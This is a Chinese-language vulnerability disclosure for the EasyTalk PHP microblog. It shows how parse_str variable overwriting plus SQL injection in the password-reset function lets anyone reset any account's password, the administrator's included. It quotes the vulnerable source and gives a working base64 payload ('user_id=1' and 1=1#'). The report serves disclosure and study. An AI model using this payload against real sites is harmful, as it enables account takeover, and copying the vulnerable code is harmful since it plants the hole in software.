### 简要描述: 开源微博系统EasyTalk任意用户密码修改,包括管理员 而且不用登陆,非常强大... (其实只是一个小小的设计缺陷):-) ### 详细说明: #1 CMS介绍 EasyTalk是国内首款多用户PHP+Mysql开源微博系统,支持网页、手机Wap、手机短信、QQ、Gtalk、飞信等多种方式发表或接收信息,EasyTalk全面符合国人的上网习惯,真正轻量级架构,使得使用者上手容易,管理者安装部署容易、管理便捷。EasyTalk功能强大,便捷的插件系统,可二次开发性高,人性化的模板自定义功能大幅提高了用户的体验,因此EasyTalk相比国内其他微博系统有绝对的优势! [<img src="https://images.seebug.org/upload/201402/17102500370f92ae0c4432434702d8e2b18a5c09.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/17102500370f92ae0c4432434702d8e2b18a5c09.jpg) #2 漏洞分析 我们先来看下用户找回密码的连接 ``` http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ== ``` 这里重点留意urldata参数,很显然是Base64加密,我们把它解密 ``` user_name=test&mailadres=felixk3y@qq.com&user_id=2&dateline=1392604195 ``` 第一感觉,90%有问题... 接下来,我们看该处的源代码,都是怎样实现的 /Home/Lib/Action/IndexAction.class.php 445行checkreset()函数 ``` public function checkreset() { parent::tohome();...
### 简要描述: 开源微博系统EasyTalk任意用户密码修改,包括管理员 而且不用登陆,非常强大... (其实只是一个小小的设计缺陷):-) ### 详细说明: #1 CMS介绍 EasyTalk是国内首款多用户PHP+Mysql开源微博系统,支持网页、手机Wap、手机短信、QQ、Gtalk、飞信等多种方式发表或接收信息,EasyTalk全面符合国人的上网习惯,真正轻量级架构,使得使用者上手容易,管理者安装部署容易、管理便捷。EasyTalk功能强大,便捷的插件系统,可二次开发性高,人性化的模板自定义功能大幅提高了用户的体验,因此EasyTalk相比国内其他微博系统有绝对的优势! [<img src="https://images.seebug.org/upload/201402/17102500370f92ae0c4432434702d8e2b18a5c09.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/17102500370f92ae0c4432434702d8e2b18a5c09.jpg) #2 漏洞分析 我们先来看下用户找回密码的连接 ``` http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ== ``` 这里重点留意urldata参数,很显然是Base64加密,我们把它解密 ``` user_name=test&mailadres=felixk3y@qq.com&user_id=2&dateline=1392604195 ``` 第一感觉,90%有问题... 接下来,我们看该处的源代码,都是怎样实现的 /Home/Lib/Action/IndexAction.class.php 445行checkreset()函数 ``` public function checkreset() { parent::tohome(); $uModel=D('Users'); $urldata=$_REQUEST['urldata'];//接收urldata 参数 parse_str(base64_decode($urldata));//parse_str 变量覆盖 if (time()-$dateline>3600*5) { setcookie('setok', json_encode(array('lang'=>L('reset3'),'ico'=>2)),0,'/');//该地址已经过期,请重新“找回密码” header('location:'.SITE_URL.'/?m=index&a=reset'); exit; } else { $user=$uModel->getUser("user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'");//直接带入了数据库...Oh My Ga. if (!$user['user_id']) { setcookie('setok', json_encode(array('lang'=>L('reset4'),'ico'=>2)),0,'/');//地址验证失败,请重新“找回密码” header('location:'.SITE_URL.'/?m=index&a=reset'); exit; } } $this->assign('subname',L('find_pwd')); $this->assign('user',$user); $this->assign('urldata',$urldata); $this->assign('type','find'); $this->display('reset'); } ``` $_REQUEST 方式接收urldata参数,Base64解码后直接带入了数据库查询,我的天 这究竟是神马设计? 既然它毫不客气的将参数带入了数据库,那么我肯定也是不会客气 从程序可以猜测,更新用户密码的SQL 类似如下 ``` update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres' ``` 于是我们利用parse_str变量覆盖,可以提交urldata参数为 ``` urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw== Base64解码为:urldata=user_id=1' and 1=1# ``` 就可以修改管理员(管理的user_id为1)的密码 [<img src="https://images.seebug.org/upload/201402/1710451655f046291e5a755ae1f1b24cf6269a51.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1710451655f046291e5a755ae1f1b24cf6269a51.jpg) 同理,我们修改user_id为其他用户的id,即可修改其密码 [<img src="https://images.seebug.org/upload/201402/171047191cf43e74e304a7dcbf3d593704007ba9.jpg" alt="33.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/171047191cf43e74e304a7dcbf3d593704007ba9.jpg) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201402/1710502799ccd3a9b1dc3ede09d5fd2e00c2e062.jpg" alt="44.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1710502799ccd3a9b1dc3ede09d5fd2e00c2e062.jpg)